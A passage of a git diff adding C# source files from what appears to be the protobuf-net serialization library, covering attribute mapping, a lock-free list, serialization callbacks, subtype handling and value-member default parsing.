/// </summary>
|
||||
/// <returns>A prepared stream of the unexpected fields.</returns>
|
||||
Stream BeginQuery();
|
||||
|
||||
/// <summary>
|
||||
/// Indicates that all unexpected fields have now been read. The
|
||||
/// implementing class is responsible for closing the stream.
|
||||
/// </summary>
|
||||
/// <param name="stream">The stream originally obtained by BeginQuery.</param>
|
||||
void EndQuery(Stream stream);
|
||||
|
||||
/// <summary>
|
||||
/// Requests the length of the raw binary stream; this is used
|
||||
/// when serializing sub-entities to indicate the expected size.
|
||||
/// </summary>
|
||||
/// <returns>The length of the binary stream representing unexpected data.</returns>
|
||||
int GetLength();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,31 @@
|
|||
using System;
|
||||
|
||||
namespace ProtoBuf
|
||||
{
|
||||
/// <summary>
|
||||
/// Specifies the method used to infer field tags for members of the type
|
||||
/// under consideration. Tags are deduced using the invariant alphabetic
|
||||
/// sequence of the members' names; this makes implicit field tags very brittle,
|
||||
/// and susceptible to changes such as field names (normally an isolated
|
||||
/// change).
|
||||
/// </summary>
|
||||
public enum ImplicitFields
|
||||
{
|
||||
/// <summary>
|
||||
/// No members are serialized implicitly; all members require a suitable
|
||||
/// attribute such as [ProtoMember]. This is the recmomended mode for
|
||||
/// most scenarios.
|
||||
/// </summary>
|
||||
None = 0,
|
||||
/// <summary>
|
||||
/// Public properties and fields are eligible for implicit serialization;
|
||||
/// this treats the public API as a contract. Ordering beings from ImplicitFirstTag.
|
||||
/// </summary>
|
||||
AllPublic= 1,
|
||||
/// <summary>
|
||||
/// Public and non-public fields are eligible for implicit serialization;
|
||||
/// this acts as a state/implementation serializer. Ordering beings from ImplicitFirstTag.
|
||||
/// </summary>
|
||||
AllFields = 2
|
||||
}
|
||||
}
|
|
@ -0,0 +1,189 @@
|
|||
#if !NO_RUNTIME
|
||||
using System;
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
using IKVM.Reflection;
|
||||
#else
|
||||
using System.Reflection;
|
||||
#endif
|
||||
|
||||
namespace ProtoBuf.Meta
|
||||
{
|
||||
internal abstract class AttributeMap
|
||||
{
|
||||
[Obsolete("Please use AttributeType instead")]
|
||||
new public Type GetType() { return AttributeType; }
|
||||
public abstract bool TryGet(string key, bool publicOnly, out object value);
|
||||
public bool TryGet(string key, out object value)
|
||||
{
|
||||
return TryGet(key, true, out value);
|
||||
}
|
||||
public abstract Type AttributeType { get; }
|
||||
public static AttributeMap[] Create(TypeModel model, Type type, bool inherit)
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
Type attribType = model.MapType(typeof(System.Attribute));
|
||||
System.Collections.Generic.IList<CustomAttributeData> all = type.__GetCustomAttributes(attribType, inherit);
|
||||
AttributeMap[] result = new AttributeMap[all.Count];
|
||||
int index = 0;
|
||||
foreach (CustomAttributeData attrib in all)
|
||||
{
|
||||
result[index++] = new AttributeDataMap(attrib);
|
||||
}
|
||||
return result;
|
||||
#else
|
||||
#if WINRT
|
||||
Attribute[] all = System.Linq.Enumerable.ToArray(type.GetTypeInfo().GetCustomAttributes(inherit));
|
||||
#else
|
||||
object[] all = type.GetCustomAttributes(inherit);
|
||||
#endif
|
||||
AttributeMap[] result = new AttributeMap[all.Length];
|
||||
for(int i = 0 ; i < all.Length ; i++)
|
||||
{
|
||||
result[i] = new ReflectionAttributeMap((Attribute)all[i]);
|
||||
}
|
||||
return result;
|
||||
#endif
|
||||
}
|
||||
|
||||
public static AttributeMap[] Create(TypeModel model, MemberInfo member, bool inherit)
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
System.Collections.Generic.IList<CustomAttributeData> all = member.__GetCustomAttributes(model.MapType(typeof(Attribute)), inherit);
|
||||
AttributeMap[] result = new AttributeMap[all.Count];
|
||||
int index = 0;
|
||||
foreach (CustomAttributeData attrib in all)
|
||||
{
|
||||
result[index++] = new AttributeDataMap(attrib);
|
||||
}
|
||||
return result;
|
||||
#else
|
||||
#if WINRT
|
||||
Attribute[] all = System.Linq.Enumerable.ToArray(member.GetCustomAttributes(inherit));
|
||||
#else
|
||||
object[] all = member.GetCustomAttributes(inherit);
|
||||
#endif
|
||||
AttributeMap[] result = new AttributeMap[all.Length];
|
||||
for(int i = 0 ; i < all.Length ; i++)
|
||||
{
|
||||
result[i] = new ReflectionAttributeMap((Attribute)all[i]);
|
||||
}
|
||||
return result;
|
||||
#endif
|
||||
}
|
||||
public static AttributeMap[] Create(TypeModel model, Assembly assembly)
|
||||
{
|
||||
|
||||
#if FEAT_IKVM
|
||||
const bool inherit = false;
|
||||
System.Collections.Generic.IList<CustomAttributeData> all = assembly.__GetCustomAttributes(model.MapType(typeof(Attribute)), inherit);
|
||||
AttributeMap[] result = new AttributeMap[all.Count];
|
||||
int index = 0;
|
||||
foreach (CustomAttributeData attrib in all)
|
||||
{
|
||||
result[index++] = new AttributeDataMap(attrib);
|
||||
}
|
||||
return result;
|
||||
#else
|
||||
#if WINRT
|
||||
Attribute[] all = System.Linq.Enumerable.ToArray(assembly.GetCustomAttributes());
|
||||
#else
|
||||
const bool inherit = false;
|
||||
object[] all = assembly.GetCustomAttributes(inherit);
|
||||
#endif
|
||||
AttributeMap[] result = new AttributeMap[all.Length];
|
||||
for(int i = 0 ; i < all.Length ; i++)
|
||||
{
|
||||
result[i] = new ReflectionAttributeMap((Attribute)all[i]);
|
||||
}
|
||||
return result;
|
||||
#endif
|
||||
}
|
||||
#if FEAT_IKVM
|
||||
private class AttributeDataMap : AttributeMap
|
||||
{
|
||||
public override Type AttributeType
|
||||
{
|
||||
get { return attribute.Constructor.DeclaringType; }
|
||||
}
|
||||
private readonly CustomAttributeData attribute;
|
||||
public AttributeDataMap(CustomAttributeData attribute)
|
||||
{
|
||||
this.attribute = attribute;
|
||||
}
|
||||
public override bool TryGet(string key, bool publicOnly, out object value)
|
||||
{
|
||||
foreach (CustomAttributeNamedArgument arg in attribute.NamedArguments)
|
||||
{
|
||||
if (string.Equals(arg.MemberInfo.Name, key, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
value = arg.TypedValue.Value;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int index = 0;
|
||||
ParameterInfo[] parameters = attribute.Constructor.GetParameters();
|
||||
foreach (CustomAttributeTypedArgument arg in attribute.ConstructorArguments)
|
||||
{
|
||||
if (string.Equals(parameters[index++].Name, key, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
value = arg.Value;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
value = null;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
#else
|
||||
public abstract object Target { get; }
|
||||
private class ReflectionAttributeMap : AttributeMap
|
||||
{
|
||||
public override object Target
|
||||
{
|
||||
get { return attribute; }
|
||||
}
|
||||
public override Type AttributeType
|
||||
{
|
||||
get { return attribute.GetType(); }
|
||||
}
|
||||
public override bool TryGet(string key, bool publicOnly, out object value)
|
||||
{
|
||||
MemberInfo[] members = Helpers.GetInstanceFieldsAndProperties(attribute.GetType(), publicOnly);
|
||||
foreach (MemberInfo member in members)
|
||||
{
|
||||
#if FX11
|
||||
if (member.Name.ToUpper() == key.ToUpper())
|
||||
#else
|
||||
if (string.Equals(member.Name, key, StringComparison.OrdinalIgnoreCase))
|
||||
#endif
|
||||
{
|
||||
PropertyInfo prop = member as PropertyInfo;
|
||||
if (prop != null) {
|
||||
value = prop.GetValue(attribute, null);
|
||||
return true;
|
||||
}
|
||||
FieldInfo field = member as FieldInfo;
|
||||
if (field != null) {
|
||||
value = field.GetValue(attribute);
|
||||
return true;
|
||||
}
|
||||
|
||||
throw new NotSupportedException(member.GetType().Name);
|
||||
}
|
||||
}
|
||||
value = null;
|
||||
return false;
|
||||
}
|
||||
private readonly Attribute attribute;
|
||||
public ReflectionAttributeMap(Attribute attribute)
|
||||
{
|
||||
this.attribute = attribute;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
}
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,223 @@
|
|||
using System;
|
||||
using System.Collections;
|
||||
|
||||
namespace ProtoBuf.Meta
|
||||
{
|
||||
|
||||
internal sealed class MutableList : BasicList
|
||||
{
|
||||
/* Like BasicList, but allows existing values to be changed
|
||||
*/
|
||||
public new object this[int index] {
|
||||
get { return head[index]; }
|
||||
set { head[index] = value; }
|
||||
}
|
||||
public void RemoveLast()
|
||||
{
|
||||
head.RemoveLastWithMutate();
|
||||
}
|
||||
}
|
||||
internal class BasicList : IEnumerable
|
||||
{
|
||||
/* Requirements:
|
||||
* - Fast access by index
|
||||
* - Immutable in the tail, so a node can be read (iterated) without locking
|
||||
* - Lock-free tail handling must match the memory mode; struct for Node
|
||||
* wouldn't work as "read" would not be atomic
|
||||
* - Only operation required is append, but this shouldn't go out of its
|
||||
* way to be inefficient
|
||||
* - Assume that the caller is handling thread-safety (to co-ordinate with
|
||||
* other code); no attempt to be thread-safe
|
||||
* - Assume that the data is private; internal data structure is allowed to
|
||||
* be mutable (i.e. array is fine as long as we don't screw it up)
|
||||
*/
|
||||
private static readonly Node nil = new Node(null, 0);
|
||||
public void CopyTo(Array array, int offset)
|
||||
{
|
||||
head.CopyTo(array, offset);
|
||||
}
|
||||
protected Node head = nil;
|
||||
public int Add(object value)
|
||||
{
|
||||
return (head = head.Append(value)).Length - 1;
|
||||
}
|
||||
public object this[int index] { get { return head[index]; } }
|
||||
public object TryGet(int index)
|
||||
{
|
||||
return head.TryGet(index);
|
||||
}
|
||||
public void Trim() { head = head.Trim(); }
|
||||
public int Count { get { return head.Length; } }
|
||||
IEnumerator IEnumerable.GetEnumerator() { return new NodeEnumerator(head); }
|
||||
public NodeEnumerator GetEnumerator() { return new NodeEnumerator(head); }
|
||||
|
||||
public struct NodeEnumerator : IEnumerator
|
||||
{
|
||||
private int position;
|
||||
private readonly Node node;
|
||||
internal NodeEnumerator(Node node)
|
||||
{
|
||||
this.position = -1;
|
||||
this.node = node;
|
||||
}
|
||||
void IEnumerator.Reset() { position = -1; }
|
||||
public object Current { get { return node[position]; } }
|
||||
public bool MoveNext()
|
||||
{
|
||||
int len = node.Length;
|
||||
return (position <= len) && (++position < len);
|
||||
}
|
||||
}
|
||||
internal sealed class Node
|
||||
{
|
||||
public object this[int index]
|
||||
{
|
||||
get {
|
||||
if (index >= 0 && index < length)
|
||||
{
|
||||
return data[index];
|
||||
}
|
||||
throw new ArgumentOutOfRangeException("index");
|
||||
}
|
||||
set
|
||||
{
|
||||
if (index >= 0 && index < length)
|
||||
{
|
||||
data[index] = value;
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new ArgumentOutOfRangeException("index");
|
||||
}
|
||||
}
|
||||
}
|
||||
public object TryGet(int index)
|
||||
{
|
||||
return (index >= 0 && index < length) ? data[index] : null;
|
||||
}
|
||||
private readonly object[] data;
|
||||
|
||||
private int length;
|
||||
public int Length { get { return length; } }
|
||||
internal Node(object[] data, int length)
|
||||
{
|
||||
Helpers.DebugAssert((data == null && length == 0) ||
|
||||
(data != null && length > 0 && length <= data.Length));
|
||||
this.data = data;
|
||||
|
||||
this.length = length;
|
||||
}
|
||||
public void RemoveLastWithMutate()
|
||||
{
|
||||
if (length == 0) throw new InvalidOperationException();
|
||||
length -= 1;
|
||||
}
|
||||
public Node Append(object value)
|
||||
{
|
||||
object[] newData;
|
||||
int newLength = length + 1;
|
||||
if (data == null)
|
||||
{
|
||||
newData = new object[10];
|
||||
}
|
||||
else if (length == data.Length)
|
||||
{
|
||||
newData = new object[data.Length * 2];
|
||||
Array.Copy(data, newData, length);
|
||||
} else
|
||||
{
|
||||
newData = data;
|
||||
}
|
||||
newData[length] = value;
|
||||
return new Node(newData, newLength);
|
||||
}
|
||||
public Node Trim()
|
||||
{
|
||||
if (length == 0 || length == data.Length) return this;
|
||||
object[] newData = new object[length];
|
||||
Array.Copy(data, newData, length);
|
||||
return new Node(newData, length);
|
||||
}
|
||||
|
||||
internal int IndexOfReference(object instance)
|
||||
{
|
||||
for (int i = 0; i < length; i++)
|
||||
{
|
||||
if ((object)instance == (object)data[i]) return i;
|
||||
} // ^^^ (object) above should be preserved, even if this was typed; needs
|
||||
// to be a reference check
|
||||
return -1;
|
||||
}
|
||||
internal int IndexOf(IPredicate predicate)
|
||||
{
|
||||
for (int i = 0; i < length; i++)
|
||||
{
|
||||
if (predicate.IsMatch(data[i])) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
internal void CopyTo(Array array, int offset)
|
||||
{
|
||||
if (length > 0)
|
||||
{
|
||||
Array.Copy(data, 0, array, offset, length);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
internal int IndexOf(IPredicate predicate)
|
||||
{
|
||||
return head.IndexOf(predicate);
|
||||
}
|
||||
internal int IndexOfReference(object instance)
|
||||
{
|
||||
return head.IndexOfReference(instance);
|
||||
}
|
||||
|
||||
internal interface IPredicate
|
||||
{
|
||||
bool IsMatch(object obj);
|
||||
}
|
||||
|
||||
internal bool Contains(object value)
|
||||
{
|
||||
foreach (object obj in this)
|
||||
{
|
||||
if (object.Equals(obj, value)) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
internal class Group
|
||||
{
|
||||
public readonly int First;
|
||||
public readonly BasicList Items;
|
||||
public Group(int first)
|
||||
{
|
||||
this.First = first;
|
||||
this.Items = new BasicList();
|
||||
}
|
||||
}
|
||||
internal static BasicList GetContiguousGroups(int[] keys, object[] values)
|
||||
{
|
||||
if (keys == null) throw new ArgumentNullException("keys");
|
||||
if (values == null) throw new ArgumentNullException("values");
|
||||
if (values.Length < keys.Length) throw new ArgumentException("Not all keys are covered by values", "values");
|
||||
BasicList outer = new BasicList();
|
||||
Group group = null;
|
||||
for (int i = 0; i < keys.Length; i++)
|
||||
{
|
||||
if (i == 0 || keys[i] != keys[i - 1]) { group = null; }
|
||||
if (group == null)
|
||||
{
|
||||
group = new Group(keys[i]);
|
||||
outer.Add(group);
|
||||
}
|
||||
group.Items.Add(values[i]);
|
||||
}
|
||||
return outer;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
|
@ -0,0 +1,107 @@
|
|||
#if !NO_RUNTIME
|
||||
using System;
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
using IKVM.Reflection;
|
||||
#else
|
||||
using System.Reflection;
|
||||
#endif
|
||||
|
||||
namespace ProtoBuf.Meta
|
||||
{
|
||||
/// <summary>
|
||||
/// Represents the set of serialization callbacks to be used when serializing/deserializing a type.
|
||||
/// </summary>
|
||||
public class CallbackSet
|
||||
{
|
||||
private readonly MetaType metaType;
|
||||
internal CallbackSet(MetaType metaType)
|
||||
{
|
||||
if (metaType == null) throw new ArgumentNullException("metaType");
|
||||
this.metaType = metaType;
|
||||
}
|
||||
internal MethodInfo this[TypeModel.CallbackType callbackType]
|
||||
{
|
||||
get
|
||||
{
|
||||
switch (callbackType)
|
||||
{
|
||||
case TypeModel.CallbackType.BeforeSerialize: return beforeSerialize;
|
||||
case TypeModel.CallbackType.AfterSerialize: return afterSerialize;
|
||||
case TypeModel.CallbackType.BeforeDeserialize: return beforeDeserialize;
|
||||
case TypeModel.CallbackType.AfterDeserialize: return afterDeserialize;
|
||||
default: throw new ArgumentException();
|
||||
}
|
||||
}
|
||||
}
|
||||
internal static bool CheckCallbackParameters(TypeModel model, MethodInfo method)
|
||||
{
|
||||
ParameterInfo[] args = method.GetParameters();
|
||||
for (int i = 0; i < args.Length; i++)
|
||||
{
|
||||
Type paramType = args[i].ParameterType;
|
||||
if(paramType == model.MapType(typeof(SerializationContext))) {}
|
||||
else if(paramType == model.MapType(typeof(System.Type))) {}
|
||||
#if PLAT_BINARYFORMATTER
|
||||
else if(paramType == model.MapType(typeof(System.Runtime.Serialization.StreamingContext))) {}
|
||||
#endif
|
||||
else return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
private MethodInfo SanityCheckCallback(TypeModel model, MethodInfo callback)
|
||||
{
|
||||
metaType.ThrowIfFrozen();
|
||||
if (callback == null) return callback; // fine
|
||||
if (callback.IsStatic) throw new ArgumentException("Callbacks cannot be static", "callback");
|
||||
if (callback.ReturnType != model.MapType(typeof(void))
|
||||
|| !CheckCallbackParameters(model, callback))
|
||||
{
|
||||
throw CreateInvalidCallbackSignature(callback);
|
||||
}
|
||||
return callback;
|
||||
}
|
||||
internal static Exception CreateInvalidCallbackSignature(MethodInfo method)
|
||||
{
|
||||
return new NotSupportedException("Invalid callback signature in " + method.DeclaringType.FullName + "." + method.Name);
|
||||
}
|
||||
private MethodInfo beforeSerialize, afterSerialize, beforeDeserialize, afterDeserialize;
|
||||
/// <summary>Called before serializing an instance</summary>
|
||||
public MethodInfo BeforeSerialize
|
||||
{
|
||||
get { return beforeSerialize; }
|
||||
set { beforeSerialize = SanityCheckCallback(metaType.Model, value); }
|
||||
}
|
||||
/// <summary>Called before deserializing an instance</summary>
|
||||
public MethodInfo BeforeDeserialize
|
||||
{
|
||||
get { return beforeDeserialize; }
|
||||
set { beforeDeserialize = SanityCheckCallback(metaType.Model, value); }
|
||||
}
|
||||
/// <summary>Called after serializing an instance</summary>
|
||||
public MethodInfo AfterSerialize
|
||||
{
|
||||
get { return afterSerialize; }
|
||||
set { afterSerialize = SanityCheckCallback(metaType.Model, value); }
|
||||
}
|
||||
/// <summary>Called after deserializing an instance</summary>
|
||||
public MethodInfo AfterDeserialize
|
||||
{
|
||||
get { return afterDeserialize; }
|
||||
set { afterDeserialize = SanityCheckCallback(metaType.Model, value); }
|
||||
}
|
||||
/// <summary>
|
||||
/// True if any callback is set, else False
|
||||
/// </summary>
|
||||
public bool NonTrivial
|
||||
{
|
||||
get
|
||||
{
|
||||
return beforeSerialize != null || beforeDeserialize != null
|
||||
|| afterSerialize != null || afterDeserialize != null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
#endif
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,82 @@
|
|||
#if !NO_RUNTIME
|
||||
using System;
|
||||
using ProtoBuf.Serializers;
|
||||
|
||||
namespace ProtoBuf.Meta
|
||||
{
|
||||
/// <summary>
|
||||
/// Represents an inherited type in a type hierarchy.
|
||||
/// </summary>
|
||||
public sealed class SubType
|
||||
{
|
||||
internal class Comparer : System.Collections.IComparer
|
||||
#if !NO_GENERICS
|
||||
, System.Collections.Generic.IComparer<SubType>
|
||||
#endif
|
||||
{
|
||||
public static readonly Comparer Default = new Comparer();
|
||||
public int Compare(object x, object y)
|
||||
{
|
||||
return Compare(x as SubType, y as SubType);
|
||||
}
|
||||
public int Compare(SubType x, SubType y)
|
||||
{
|
||||
if (ReferenceEquals(x, y)) return 0;
|
||||
if (x == null) return -1;
|
||||
if (y == null) return 1;
|
||||
|
||||
return x.FieldNumber.CompareTo(y.FieldNumber);
|
||||
}
|
||||
}
|
||||
private readonly int fieldNumber;
|
||||
/// <summary>
|
||||
/// The field-number that is used to encapsulate the data (as a nested
|
||||
/// message) for the derived dype.
|
||||
/// </summary>
|
||||
public int FieldNumber { get { return fieldNumber; } }
|
||||
/// <summary>
|
||||
/// The sub-type to be considered.
|
||||
/// </summary>
|
||||
public MetaType DerivedType { get { return derivedType; } }
|
||||
private readonly MetaType derivedType;
|
||||
|
||||
/// <summary>
|
||||
/// Creates a new SubType instance.
|
||||
/// </summary>
|
||||
/// <param name="fieldNumber">The field-number that is used to encapsulate the data (as a nested
|
||||
/// message) for the derived dype.</param>
|
||||
/// <param name="derivedType">The sub-type to be considered.</param>
|
||||
/// <param name="format">Specific encoding style to use; in particular, Grouped can be used to avoid buffering, but is not the default.</param>
|
||||
public SubType(int fieldNumber, MetaType derivedType, DataFormat format)
|
||||
{
|
||||
if (derivedType == null) throw new ArgumentNullException("derivedType");
|
||||
if (fieldNumber <= 0) throw new ArgumentOutOfRangeException("fieldNumber");
|
||||
this.fieldNumber = fieldNumber;
|
||||
this.derivedType = derivedType;
|
||||
this.dataFormat = format;
|
||||
}
|
||||
|
||||
private readonly DataFormat dataFormat;
|
||||
|
||||
private IProtoSerializer serializer;
|
||||
internal IProtoSerializer Serializer
|
||||
{
|
||||
get
|
||||
{
|
||||
if (serializer == null) serializer = BuildSerializer();
|
||||
return serializer;
|
||||
}
|
||||
}
|
||||
|
||||
private IProtoSerializer BuildSerializer()
|
||||
{
|
||||
// note the caller here is MetaType.BuildSerializer, which already has the sync-lock
|
||||
WireType wireType = WireType.String;
|
||||
if(dataFormat == DataFormat.Group) wireType = WireType.StartGroup; // only one exception
|
||||
|
||||
IProtoSerializer ser = new SubItemSerializer(derivedType.Type, derivedType.GetKey(false, false), derivedType, false);
|
||||
return new TagDecorator(fieldNumber, wireType, false, ser);
|
||||
}
|
||||
}
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,62 @@
|
|||
using System;
|
||||
|
||||
namespace ProtoBuf.Meta
|
||||
{
|
||||
/// <summary>
|
||||
/// Event arguments needed to perform type-formatting functions; this could be resolving a Type to a string suitable for serialization, or could
|
||||
/// be requesting a Type from a string. If no changes are made, a default implementation will be used (from the assembly-qualified names).
|
||||
/// </summary>
|
||||
public class TypeFormatEventArgs : EventArgs
|
||||
{
|
||||
private Type type;
|
||||
private string formattedName;
|
||||
private readonly bool typeFixed;
|
||||
/// <summary>
|
||||
/// The type involved in this map; if this is initially null, a Type is expected to be provided for the string in FormattedName.
|
||||
/// </summary>
|
||||
public Type Type
|
||||
{
|
||||
get { return type; }
|
||||
set
|
||||
{
|
||||
if(type != value)
|
||||
{
|
||||
if (typeFixed) throw new InvalidOperationException("The type is fixed and cannot be changed");
|
||||
type = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// The formatted-name involved in this map; if this is initially null, a formatted-name is expected from the type in Type.
|
||||
/// </summary>
|
||||
public string FormattedName
|
||||
{
|
||||
get { return formattedName; }
|
||||
set
|
||||
{
|
||||
if (formattedName != value)
|
||||
{
|
||||
if (!typeFixed) throw new InvalidOperationException("The formatted-name is fixed and cannot be changed");
|
||||
formattedName = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
internal TypeFormatEventArgs(string formattedName)
|
||||
{
|
||||
if (Helpers.IsNullOrEmpty(formattedName)) throw new ArgumentNullException("formattedName");
|
||||
this.formattedName = formattedName;
|
||||
typeFixed = false;
|
||||
}
|
||||
internal TypeFormatEventArgs(System.Type type)
|
||||
{
|
||||
if (type == null) throw new ArgumentNullException("type");
|
||||
this.type = type;
|
||||
typeFixed = true;
|
||||
}
|
||||
|
||||
}
|
||||
/// <summary>
|
||||
/// Delegate type used to perform type-formatting functions; the sender originates as the type-model.
|
||||
/// </summary>
|
||||
public delegate void TypeFormatEventHandler(object sender, TypeFormatEventArgs args);
|
||||
}
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,632 @@
|
|||
#if !NO_RUNTIME
|
||||
using System;
|
||||
|
||||
using ProtoBuf.Serializers;
|
||||
using System.Globalization;
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
using IKVM.Reflection;
|
||||
#else
|
||||
using System.Reflection;
|
||||
#endif
|
||||
|
||||
namespace ProtoBuf.Meta
|
||||
{
|
||||
/// <summary>
|
||||
/// Represents a member (property/field) that is mapped to a protobuf field
|
||||
/// </summary>
|
||||
public class ValueMember
|
||||
{
|
||||
private readonly int fieldNumber;
|
||||
/// <summary>
|
||||
/// The number that identifies this member in a protobuf stream
|
||||
/// </summary>
|
||||
public int FieldNumber { get { return fieldNumber; } }
|
||||
private readonly MemberInfo member;
|
||||
/// <summary>
|
||||
/// Gets the member (field/property) which this member relates to.
|
||||
/// </summary>
|
||||
public MemberInfo Member { get { return member; } }
|
||||
private readonly Type parentType, itemType, defaultType, memberType;
|
||||
private object defaultValue;
|
||||
/// <summary>
|
||||
/// Within a list / array / etc, the type of object for each item in the list (especially useful with ArrayList)
|
||||
/// </summary>
|
||||
public Type ItemType { get { return itemType; } }
|
||||
/// <summary>
|
||||
/// The underlying type of the member
|
||||
/// </summary>
|
||||
public Type MemberType { get { return memberType; } }
|
||||
/// <summary>
|
||||
/// For abstract types (IList etc), the type of concrete object to create (if required)
|
||||
/// </summary>
|
||||
public Type DefaultType { get { return defaultType; } }
|
||||
/// <summary>
|
||||
/// The type the defines the member
|
||||
/// </summary>
|
||||
public Type ParentType { get { return parentType; } }
|
||||
|
||||
/// <summary>
|
||||
/// The default value of the item (members with this value will not be serialized)
|
||||
/// </summary>
|
||||
public object DefaultValue
|
||||
{
|
||||
get { return defaultValue; }
|
||||
set {
|
||||
ThrowIfFrozen();
|
||||
defaultValue = value;
|
||||
}
|
||||
}
|
||||
|
||||
private readonly RuntimeTypeModel model;
|
||||
/// <summary>
|
||||
/// Creates a new ValueMember instance
|
||||
/// </summary>
|
||||
public ValueMember(RuntimeTypeModel model, Type parentType, int fieldNumber, MemberInfo member, Type memberType, Type itemType, Type defaultType, DataFormat dataFormat, object defaultValue)
|
||||
: this(model, fieldNumber,memberType, itemType, defaultType, dataFormat)
|
||||
{
|
||||
if (member == null) throw new ArgumentNullException("member");
|
||||
if (parentType == null) throw new ArgumentNullException("parentType");
|
||||
if (fieldNumber < 1 && !Helpers.IsEnum(parentType)) throw new ArgumentOutOfRangeException("fieldNumber");
|
||||
|
||||
this.member = member;
|
||||
this.parentType = parentType;
|
||||
if (fieldNumber < 1 && !Helpers.IsEnum(parentType)) throw new ArgumentOutOfRangeException("fieldNumber");
|
||||
//#if WINRT
|
||||
if (defaultValue != null && model.MapType(defaultValue.GetType()) != memberType)
|
||||
//#else
|
||||
// if (defaultValue != null && !memberType.IsInstanceOfType(defaultValue))
|
||||
//#endif
|
||||
{
|
||||
defaultValue = ParseDefaultValue(memberType, defaultValue);
|
||||
}
|
||||
this.defaultValue = defaultValue;
|
||||
|
||||
MetaType type = model.FindWithoutAdd(memberType);
|
||||
if (type != null)
|
||||
{
|
||||
this.asReference = type.AsReferenceDefault;
|
||||
}
|
||||
else
|
||||
{ // we need to scan the hard way; can't risk recursion by fully walking it
|
||||
this.asReference = MetaType.GetAsReferenceDefault(model, memberType);
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// Creates a new ValueMember instance
|
||||
/// </summary>
|
||||
internal ValueMember(RuntimeTypeModel model, int fieldNumber, Type memberType, Type itemType, Type defaultType, DataFormat dataFormat)
|
||||
{
|
||||
|
||||
if (memberType == null) throw new ArgumentNullException("memberType");
|
||||
if (model == null) throw new ArgumentNullException("model");
|
||||
this.fieldNumber = fieldNumber;
|
||||
this.memberType = memberType;
|
||||
this.itemType = itemType;
|
||||
this.defaultType = defaultType;
|
||||
|
||||
this.model = model;
|
||||
this.dataFormat = dataFormat;
|
||||
}
|
||||
internal object GetRawEnumValue()
|
||||
{
|
||||
#if WINRT || PORTABLE || CF || FX11
|
||||
object value = ((FieldInfo)member).GetValue(null);
|
||||
switch(Helpers.GetTypeCode(Enum.GetUnderlyingType(((FieldInfo)member).FieldType)))
|
||||
{
|
||||
case ProtoTypeCode.SByte: return (sbyte)value;
|
||||
case ProtoTypeCode.Byte: return (byte)value;
|
||||
case ProtoTypeCode.Int16: return (short)value;
|
||||
case ProtoTypeCode.UInt16: return (ushort)value;
|
||||
case ProtoTypeCode.Int32: return (int)value;
|
||||
case ProtoTypeCode.UInt32: return (uint)value;
|
||||
case ProtoTypeCode.Int64: return (long)value;
|
||||
case ProtoTypeCode.UInt64: return (ulong)value;
|
||||
default:
|
||||
throw new InvalidOperationException();
|
||||
}
|
||||
#else
|
||||
return ((FieldInfo)member).GetRawConstantValue();
|
||||
#endif
|
||||
}
|
||||
private static object ParseDefaultValue(Type type, object value)
|
||||
{
|
||||
{
|
||||
Type tmp = Helpers.GetUnderlyingType(type);
|
||||
if (tmp != null) type = tmp;
|
||||
}
|
||||
if (value is string)
|
||||
{
|
||||
string s = (string)value;
|
||||
if (Helpers.IsEnum(type)) return Helpers.ParseEnum(type, s);
|
||||
|
||||
switch (Helpers.GetTypeCode(type))
|
||||
{
|
||||
case ProtoTypeCode.Boolean: return bool.Parse(s);
|
||||
case ProtoTypeCode.Byte: return byte.Parse(s, NumberStyles.Integer, CultureInfo.InvariantCulture);
|
||||
case ProtoTypeCode.Char: // char.Parse missing on CF/phone7
|
||||
if (s.Length == 1) return s[0];
|
||||
throw new FormatException("Single character expected: \"" + s + "\"");
|
||||
case ProtoTypeCode.DateTime: return DateTime.Parse(s, CultureInfo.InvariantCulture);
|
||||
case ProtoTypeCode.Decimal: return decimal.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture);
|
||||
case ProtoTypeCode.Double: return double.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture);
|
||||
case ProtoTypeCode.Int16: return short.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture);
|
||||
case ProtoTypeCode.Int32: return int.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture);
|
||||
case ProtoTypeCode.Int64: return long.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture);
|
||||
case ProtoTypeCode.SByte: return sbyte.Parse(s, NumberStyles.Integer, CultureInfo.InvariantCulture);
|
||||
case ProtoTypeCode.Single: return float.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture);
|
||||
case ProtoTypeCode.String: return s;
|
||||
case ProtoTypeCode.UInt16: return ushort.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture);
|
||||
case ProtoTypeCode.UInt32: return uint.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture);
|
||||
case ProtoTypeCode.UInt64: return ulong.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture);
|
||||
case ProtoTypeCode.TimeSpan: return TimeSpan.Parse(s);
